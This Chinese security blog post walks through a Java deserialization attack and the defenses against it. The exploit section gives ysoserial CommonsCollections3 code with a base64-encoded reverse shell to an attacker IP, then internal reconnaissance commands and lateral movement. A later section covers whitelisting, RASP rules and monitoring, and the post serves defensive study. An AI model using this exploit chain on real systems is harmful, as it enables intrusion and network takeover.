警告:本文技术细节仅用于企业授权测试、安全研究与防御建设,严禁用于非法用途。
前言:一个被低估的“内网杀手”
最近在内部攻防演练中,我们发现了一个惊人的现象:尽管Java反序列化漏洞已不是新鲜话题,但超过60%的Java应用系统仍然存在相关的安全隐患。更令人担忧的是,一旦被利用,攻击者可以轻松实现从外网到内网的纵深突破。今天,我们就来深入剖析一个实战案例,看看一个看似普通的反序列化漏洞,如何成为通往企业核心数据的“后门”。
一、漏洞发现:从“不起眼”的HTTP响应开始
在一次常规的资产排查中,我们的自动化扫描器发现某系统的HTTP响应头中携带了异常信息:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Java
Set-Cookie: JSESSIONID=7A51B9A3B; Path=/; HttpOnly
**Serialized-Data: rO0ABXQAA...** <!-- 可疑的序列化数据! -->
二、漏洞利用:构建“通杀”Payload的完整链条
要利用这个漏洞,需要满足三个条件:
- 目标应用中存在可利用的
gadget chain - 能够将恶意序列化数据传递到反序列化入口
- 目标有出网权限或存在可利用的本地类
经过分析,我们决定使用CommonsCollections3链配合JRMP监听的方式实现利用。以下是核心攻击代码:
import ysoserial.payloads.CommonsCollections3;
import ysoserial.exploit.JRMPListener;
public class ExploitDemo {
public static void main(String[] args) throws Exception {
// 1. 启动JRMP监听器(攻击机:192.168.1.100:1099)
int jrmpPort = 1099;
String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}";
System.out.println("[+] 启动JRMP监听器...");
JRMPListener listener = new JRMPListener(jrmpPort, command);
listener.start();
// 2. 生成恶意序列化Payload
System.out.println("[+] 生成CommonsCollections3 Payload...");
Object payload = new CommonsCollections3().getObject(command);
byte[] serializedData = Serializer.serialize(payload);
String base64Payload = Base64.getEncoder().encodeToString(serializedData);
// 3. 构造HTTP请求
String url = "http://target.com/api/data/process";
String exploitBody = "{\"data\":\"" + base64Payload + "\"}";
System.out.println("[+] 发送恶意请求...");
sendExploitRequest(url, exploitBody);
}
}
三、攻击演示:从外网到内网的完整路径让我们通过一个真实的攻击链来展示漏洞的严重性:
第一阶段:获取初始立足点
[攻击机] $ java -cp exploit.jar ExploitDemo
[+] JRMP监听器启动在 192.168.1.100:1099
[+] 发送恶意请求到目标系统...
[+] 收到来自 10.10.1.50 的反连请求!
[+] 成功获取目标系统Shell
第二阶段:内网信息收集
# 在获取的Shell中执行
whoami
# 输出:tomcat
ifconfig
# 发现内网网段:10.10.1.0/24、172.16.0.0/16
netstat -antp
# 发现数据库连接:10.10.1.100:3306
# 上传内网扫描工具
./fscan -h 10.10.1.0/24
第三阶段:横向移动与权限提升
通过收集到的信息,我们发现了内网中多个存在相同漏洞的Java应用。利用密码复用和Kerberoasting攻击,最终获取了域管理权限。
四、深度剖析:为什么这个漏洞如此危险?
1. 技术层面
- 利用链成熟:Apache Commons Collections、Groovy、Jdk7u21等gadget链早已公开
- 触发场景多:HTTP参数、RMI、JMX、JMS、自定义协议等都可成为入口
- 绕过简单:通过特征变形、加密、编码等方式可轻松绕过WAF
2. 企业环境层面
- 历史包袱重:大量老旧系统无法升级或打补丁
- 依赖复杂:一个基础库被多个系统共用,牵一发而动全身
- 防护缺失:仅依赖边界防护,缺乏运行时保护
五、 防御方案:三层纵深防御体系
第一层:代码与依赖安全
// 1. 使用安全的对象输入流
public class SafeObjectInputStream extends ObjectInputStream {
private static final String[] ALLOWED_CLASSES = {
"java.lang.String",
"java.util.HashMap",
// 明确白名单...
};
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!isAllowed(className)) {
throw new InvalidClassException("Unauthorized deserialization", className);
}
return super.resolveClass(desc);
}
}
// 2. 升级安全版本(Gradle示例)
dependencies {
implementation 'commons-collections:commons-collections:3.2.2'
// 或使用安全替代品
implementation 'org.apache.commons:commons-collections4:4.4'
}
第二层:运行时防护
# 使用RASP(运行时应用自我保护)
rasp:
enabled: true
rules:
- name: "BLOCK_JAVA_DESERIALIZATION"
type: "DESERIALIZATION"
action: "BLOCK"
conditions:
- "gadget_chains: [commons-collections, groovy]"
- name: "ALERT_CLASS_LOADER"
type: "CLASS_LOADER"
action: "ALERT"
conditions:
- "class_contains: InvokerTransformer"
第三层:架构与流程安全
- 网络层面:严格限制出网流量,实施网络微隔离
- 进程层面:Java应用以低权限用户运行,限制系统调用
- 监控层面:部署基于行为的异常检测
# 检测异常的类加载行为
auditctl -w /usr/lib/jvm/ -p war -k java_class_load
六、企业自查清单
请立即检查您的系统是否存在以下风险点:
- [ ] 是否使用存在已知漏洞的Commons Collections组件(3.2.1及以下版本)?
- [ ] 是否在代码中直接使用
ObjectInputStream.readObject()且未做任何防护? - [ ] 是否开放了不必要的RMI/JMX端口?
- [ ] WAF规则是否包含最新的反序列化攻击特征?
- [ ] 是否有针对异常Java进程行为的监控告警?
七、结语
Java反序列化漏洞的威胁从未远离。随着云原生和微服务架构的普及,攻击面反而在不断扩大。安全不是功能,而是一种属性,它必须贯穿于设计、开发、部署、运维的全生命周期。对于企业来说,真正的安全不是购买最贵的设备,而是建立持续运营的安全体系。对于安全从业者,我们的价值不仅在于发现漏洞,更在于帮助企业建立免疫能力。
本文涉及的技术细节仅供学习研究,请务必在合法授权范围内进行测试。
感谢您的来访,获取更多精彩文章请收藏本站。











暂无评论内容